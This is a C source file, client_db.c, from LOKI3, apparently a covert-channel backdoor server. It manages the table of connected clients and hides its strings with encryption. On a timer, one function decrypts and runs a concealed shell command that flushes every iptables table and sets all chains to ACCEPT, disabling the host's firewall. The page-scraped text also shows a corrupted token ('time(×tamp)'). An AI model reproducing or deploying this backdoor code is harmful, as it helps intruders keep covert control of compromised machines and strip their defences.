1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
|
/*
* LOKI3
*
* [ client_db.c ]
*
* 1996/7 Guild Corporation Worldwide [daemon9]
*/
#include "loki.h"
#include "shm.h"
#include "client_db.h"
extern struct loki rdg;
extern int verbose;
extern int destroy_shm;
extern struct client_list *client;
extern uint16_t c_id;
/*
* Obfuscated strings
*/
extern estring S_MSG_SIGALRM;
extern estring S_MSG_EXPIRED_CLIENT;
extern estring S_MSG_CLIENT_DB_FULL;
extern estring S_CMD_FLUSH_IPTABLES;
extern estring S_STAT_VERSION;
extern estring S_STAT_INTERFACE;
extern estring S_STAT_TRANSPORT;
extern estring S_STAT_CRYPTO;
extern estring S_STAT_UPTIME;
extern estring S_STAT_CLIENT_ID;
extern estring S_STAT_PACKETS_WRITTEN;
extern estring S_STAT_BYTES_WRITTEN;
extern estring S_STAT_REQUESTS;
/*
* The server maintains an array of active client information. This
* function simply steps through the structure array and attempts to add
* an entry.
*/
int add_client(uint8_t *key) {
int i = 0, emptyslot = -1;
locks();
for (; i < MAX_CLIENT; i++) {
/* Check for duplicate entries */
if (IS_GOOD_CLIENT(rdg)) {
emptyslot = i;
break;
}
/* tag the first empty slot found */
if ((!(client[i].client_id))) {
emptyslot = i;
}
}
if (emptyslot == -1) { /* No empty array slots */
if (verbose) {
char *dbuf;
dbuf = decrypt(S_MSG_CLIENT_DB_FULL);
fprintf(stderr, "%s", dbuf);
destroy(dbuf, S_MSG_CLIENT_DB_FULL.size);
}
ulocks();
return NNOK;
}
/* Initialize array with client info */
client[emptyslot].touchtime = time((time_t *)NULL);
if (emptyslot != i) {
client[emptyslot].client_id = c_id;
client[emptyslot].client_ip = rdg.iph.ip_src;
client[emptyslot].packets_sent = 0;
client[emptyslot].bytes_sent = 0;
client[emptyslot].hits = 0;
}
ulocks();
return emptyslot;
}
/*
* Look for a client entry in the client database. Either copy the clients
* key into user_key and update timestamp, or clear the array entry,
* depending on the disposition of the call.
*/
int locate_client(int disposition) {
locks();
for (int i = 0; i < MAX_CLIENT; i++) {
if (IS_GOOD_CLIENT(rdg)) {
if (disposition == FIND) { /* update timestamp */
client[i].touchtime = time((time_t *)NULL);
}
/* Remove entry */
else if (disposition == DESTROY) {
bzero(&client[i], sizeof(client[i]));
}
ulocks();
return i;
}
}
ulocks(); /* Didn't find the client */
return NNOK;
}
/*
* Fill a string with current stats about a particular client.
*/
int stat_client(int entry, uint8_t *buf, int prot, time_t uptime) {
int n = 0;
time_t now = 0;
struct protoent *proto = 0;
char *dbuf;
/* locate_client didn't find an entry */
if (entry == NNOK) {
#ifdef DEBUG
fprintf(stderr, "[DEBUG]\tstat_client nono\n");
#endif /* DEBUG */
return NOK;
}
dbuf = decrypt(S_STAT_VERSION);
n = sprintf((char *)buf, dbuf, VERSION);
destroy(dbuf, S_STAT_VERSION.size);
dbuf = decrypt(S_STAT_INTERFACE);
n += sprintf((char *)&buf[n], dbuf, host_lookup(rdg.iph.ip_dst));
destroy(dbuf, S_STAT_INTERFACE.size);
proto = getprotobynumber(prot);
dbuf = decrypt(S_STAT_TRANSPORT);
n += sprintf((char *)&buf[n], dbuf, proto -> p_name);
destroy(dbuf, S_STAT_TRANSPORT.size);
dbuf = decrypt(S_STAT_CRYPTO);
n += sprintf((char *)&buf[n], dbuf, CRYPTO_TYPE);
destroy(dbuf, S_STAT_CRYPTO.size);
time(&now);
dbuf = decrypt(S_STAT_UPTIME);
n += sprintf((char *)&buf[n], dbuf, difftime(now, uptime) / 0x3c);
destroy(dbuf, S_STAT_UPTIME.size);
locks();
dbuf = decrypt(S_STAT_CLIENT_ID);
n += sprintf((char *)&buf[n], dbuf, client[entry].client_id);
destroy(dbuf, S_STAT_CLIENT_ID.size);
dbuf = decrypt(S_STAT_PACKETS_WRITTEN);
n += sprintf((char *)&buf[n], dbuf, client[entry].packets_sent);
destroy(dbuf, S_STAT_PACKETS_WRITTEN.size);
dbuf = decrypt(S_STAT_BYTES_WRITTEN);
n += sprintf((char *)&buf[n], dbuf, client[entry].bytes_sent);
destroy(dbuf, S_STAT_BYTES_WRITTEN.size);
dbuf = decrypt(S_STAT_REQUESTS);
n += sprintf((char *)&buf[n], dbuf, client[entry].hits);
destroy(dbuf, S_STAT_REQUESTS.size);
ulocks();
return n;
}
/*
* Unsets alarm timer, then calls age_client, then resets signal handler
* and alarm timer.
*/
void client_expiry_check() {
alarm(0);
age_client();
#ifdef FLUSH_IPTABLES
/* Flush iptables */
#ifdef DEBUG
fprintf(stderr, "[DEBUG]\tflushing iptables\n");
#endif /* DEBUG */
char *dbuf;
dbuf = decrypt(S_CMD_FLUSH_IPTABLES);
system(dbuf);
destroy(dbuf, S_CMD_FLUSH_IPTABLES.size);
/* system("PATH=/sbin:/usr/sbin iptables -X 2> /dev/null"); */
/* system("PATH=/sbin:/usr/sbin iptables -F 2> /dev/null"); */
/* system("PATH=/sbin:/usr/sbin iptables -t nat -F 2> /dev/null"); */
/* system("PATH=/sbin:/usr/sbin iptables -t nat -X 2> /dev/null"); */
/* system("PATH=/sbin:/usr/sbin iptables -t mangle -F 2> /dev/null"); */
/* system("PATH=/sbin:/usr/sbin iptables -t mangle -X 2> /dev/null"); */
/* system("PATH=/sbin:/usr/sbin iptables -t raw -F 2> /dev/null"); */
/* system("PATH=/sbin:/usr/sbin iptables -t raw -X 2> /dev/null"); */
/* system("PATH=/sbin:/usr/sbin iptables -P INPUT ACCEPT 2> /dev/null"); */
/* system("PATH=/sbin:/usr/sbin iptables -P FORWARD ACCEPT 2> /dev/null"); */
/* system("PATH=/sbin:/usr/sbin iptables -P OUTPUT ACCEPT 2> /dev/null"); */
#endif /* FLUSH_IPTABLES */
/* re-establish signal handler */
if (signal(SIGALRM, client_expiry_check) == SIG_ERR) {
err_exit(1, 1, verbose, decrypt(S_MSG_SIGALRM));
}
alarm(KEY_TIMER);
}
/*
* This function is called every KEY_TIMER interval to sweep through the
* client list. It zeros any entrys it finds that have not been accessed
* in KEY_TIMER seconds. This gives us a way to free up entries from clients
* which may have crashed or lost their QUIT_C packet in transit.
*/
void age_client() {
time_t timestamp = 0;
time(×tamp);
locks();
for (int i = 0; i < MAX_CLIENT; i++) {
if (client[i].client_id) {
if (difftime(timestamp, client[i].touchtime) > KEY_TIMER) {
if (verbose) {
char *dbuf;
dbuf = decrypt(S_MSG_EXPIRED_CLIENT);
fprintf(stderr, dbuf, client[i].client_id, i);
destroy(dbuf, S_MSG_EXPIRED_CLIENT.size);
}
bzero(&client[i], sizeof(client[i]));
}
}
}
ulocks();
}
/*
* Update the statistics for client.
*/
void update_client(int entry, int pcount, uint32_t bcount) {
locks();
client[entry].touchtime = time((time_t *)NULL);
client[entry].packets_sent += pcount;
client[entry].bytes_sent += bcount;
client[entry].hits ++;
ulocks();
}
/*
* Returns the IP address and ID of the targeted entry
*/
uint32_t check_client_ip(int entry, uint16_t *id) {
uint32_t ip = 0;
locks();
if ((*id = (client[entry].client_id))) {
ip = client[entry].client_ip;
}
ulocks();
return ip;
}
/* EOF */
|